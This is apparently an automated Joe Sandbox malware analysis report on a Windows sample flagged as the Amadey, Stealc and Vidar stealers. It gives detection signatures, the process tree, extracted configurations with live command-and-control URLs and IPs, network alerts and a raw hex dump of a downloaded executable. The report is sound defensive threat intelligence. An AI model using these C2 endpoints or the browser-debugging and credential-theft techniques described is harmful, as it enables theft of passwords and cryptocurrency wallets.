Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570734
MD5:	ba177a2ef8336daa29fcb4302054eb37
SHA1:	944701f5db900b06c1df014df31b0beba772468b
SHA256:	3e0ac437238d31e092b17484d03555f2501f761e4d1fdee138f848e3c41e3aa9
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BA177A2EF8336DAA29FCB4302054EB37)

chrome.exe (PID: 4440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2456,i,1902125233543609165,9231231568484545527,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2144,i,5035712571397325000,14333808649513033406,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7216 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKFBAAFCGI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KKFBAAFCGI.exe (PID: 6140 cmdline: "C:\Users\user\Documents\KKFBAAFCGI.exe" MD5: 27F6676A8AE816B6C71525FD308839D9)

skotes.exe (PID: 7864 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 27F6676A8AE816B6C71525FD308839D9)

msedge.exe (PID: 8184 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2116,i,13794285038961054582,12018302173444175228,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7872 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 27F6676A8AE816B6C71525FD308839D9)

skotes.exe (PID: 5824 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 27F6676A8AE816B6C71525FD308839D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000011.00000002.3364528536.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2716334004.00000000004A1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2126870772.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2746064042.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2684323133.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2684323133.000000000099C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2746813469.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 4340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
16.2.skotes.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.KKFBAAFCGI.exe.4a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4340, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 4440, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:09.365650+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:09.244728+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:09.713234+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:11.172466+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:09.835304+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:08.800326+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:42:05.767045+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50001	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:39:58.821974+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50009	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T22:40:12.211945+0100	2803304	3	Unknown Traffic	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:38.467202+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:40.505256+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:41.776749+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:42.876337+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:46.353576+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:47.409961+0100	2803304	3	Unknown Traffic	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:52.995560+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php2D	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpE8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllQ	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php/b	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllK	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllX	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpzD	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpBLIC=C:	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000011.00000002.3364528536.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.4340.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CACA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC44C0 PK11_PubEncrypt,	0_2_6CAC44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CA94420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4440 PK11_PrivDecrypt,	0_2_6CAC4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB125B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CAAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CAA8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CACA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CAEA730

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50003 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50001 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50009

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 